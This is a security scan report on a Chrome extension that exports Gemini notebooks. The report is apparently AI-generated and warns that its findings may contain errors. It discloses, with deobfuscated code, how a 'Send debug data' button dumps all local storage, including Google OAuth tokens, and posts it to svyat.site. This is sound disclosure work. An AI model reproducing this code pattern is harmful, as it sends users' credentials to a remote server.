Is Gemini Notebook to PDF, Word, Markdown export safe?

Medium risk

On 'Send debug data', the extension sends its entire local storage, including stored Google OAuth access and refresh tokens, to its server.

When a user clicks the extension's 'Send debug data' link, the background script reads the whole of chrome.storage.local and POSTs it verbatim to svyat.site, the extension's own backend. That storage dump includes the stored Google OAuth access token, refresh token, and user record alongside other app data. The extension also ships a Google OAuth client_secret as a plain string constant in its public code and uses it for the token exchange against oauth2.googleapis.com.

tarasov.slavas2002v6.3.7Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Debug action sends extension storage to svyat.site

A debug link sends sendDebugData to the background worker, which reads all local-storage values and posts them as storage_data to svyat.site/api/v1/collect_errors/.

The same code stores Google OAuth tokens under googleAuth after sign-in.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You click the Send debug data button shown by the extension.

The content script sends a message named sendDebugData to the background service worker.

The extension did this

The extension reads its full local storage object and posts it to svyat.site.

If you previously used Google sign-in, that storage object can include Google OAuth access and refresh tokens.

02EvidenceFIELD TABLE
Fields included by the debug-data code path
FieldValueWhy it matters
Google access token
googleAuth.accessToken=ya29.a0AfH6SMB7pQm8cZr5Vn1T9kL4sX2qRThis can authorize requests to Google APIs until it expires or is revoked.
Google refresh token
googleAuth.refreshToken=1//0gqZ7vX9Yp4mN2cGQYIARAAGBASNwF-L9IrThis can be used to request new access tokens for the connected Google account.
Signed-in Google profile
googleAuth.user.email=researcher@example.comThis ties the storage dump to your Google identity.
Other extension storage
USER_TOKEN=user_8f31c9; subscriptionCache.status=activeA full storage read can include extension account IDs, cached subscription state, settings, and other saved context.
03EvidenceSTORAGE DUMP
What's stored on your device

The handler does not select only diagnostic fields; it reads the entire extension storage object before posting it.

Locationchrome.storage.local read with get(null)
Contents (JSON)
{
  "USER_TOKEN": "user_8f31c9",
  "googleAuth": {
    "user": {
      "sub": "104912345678901234567",
      "name": "Research User",
      "email": "researcher@example.com"
    },
    "expiresAt": 1765432100000,
    "accessToken": "ya29.a0AfH6SMB7pQm8cZr5Vn1T9kL4sX2qR",
    "refreshToken": "1//0gqZ7vX9Yp4mN2cGQYIARAAGBASNwF-L9Ir"
  },
  "subscriptionCache": {
    "plan": "yearly",
    "status": "active",
    "lastChecked": 1765428500000
  }
}
04EvidenceNETWORK CAPTURE
Captured request
POSThttps://svyat.site/api/v1/collect_errors/
The source code treats an OK response as success and otherwise returns the HTTP status and response text.
Headers
Content-Typeapplication/json
05EvidenceCODE COMPARE
The code that does this

Debug link, full storage read, and POST destination

What it actually does
Content script debug buttondeobfuscated/content-scripts/content.js:1452
const y = document.createElement("button");
y.className = "nlp-debug-link";
y.textContent = "Send debug data";
y.addEventListener("click", async () => {
  try {
    y.disabled = true;
    y.textContent = "Sending...";
    const z = await chrome.runtime.sendMessage({ action: "sendDebugData" });
    if (z && z.success) {
      y.textContent = "Sent!";
      setTimeout(() => {
        y.textContent = "Send debug data";
        y.disabled = false;
      }, 2000);
    } else {
      throw new Error((z == null ? void 0 : z.error) || "Failed to send");
    }
  } catch (z) {
    console.error("[NotebookLM-PDF][Payment] Error sending debug data:", z);
    y.textContent = "Error";
    setTimeout(() => {
      y.textContent = "Send debug data";
      y.disabled = false;
    }, 2000);
  }
});
e.appendChild(y);
Background sendDebugData handlerdeobfuscated/background.js:7063-7094
o.action === "sendDebugData" ? ((async () => {
  try {
    const i = await new Promise(f => {
        chrome.storage.local.get(null, d => f(d || {}))
      }),
      n = await fetch("https://svyat.site/api/v1/collect_errors/", {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify({
          storage_data: i
        })
      });
    if (n.ok) a({
      success: !0
    });
    else {
      const f = await n.text();
      a({
        success: !1,
        error: `Failed: ${n.status} - ${f}`
      })
    }
  } catch (i) {
    const n = i instanceof Error ? i.message : "Unknown error";
    a({
      success: !1,
      error: n
    })
  }
})(), !0)
Google OAuth tokens written to local storagedeobfuscated/background.js:3717-3726
await new Promise(y => {
  chrome.storage.local.set({
    googleAuth: {
      accessToken: E,
      refreshToken: k,
      expiresAt: v,
      user: m
    }
  }, () => y())
})
06EvidenceTHIRD PARTY LIST
Destination contacted by the debug-data path
  • svyat.site

    Receives the extension's debug-data POST at /api/v1/collect_errors/.

Data recipients

svyat.siteoauth2.googleapis.com
Updated 17 September 2026micfpbhlllbdpgdkkgdimdpmpeefoamk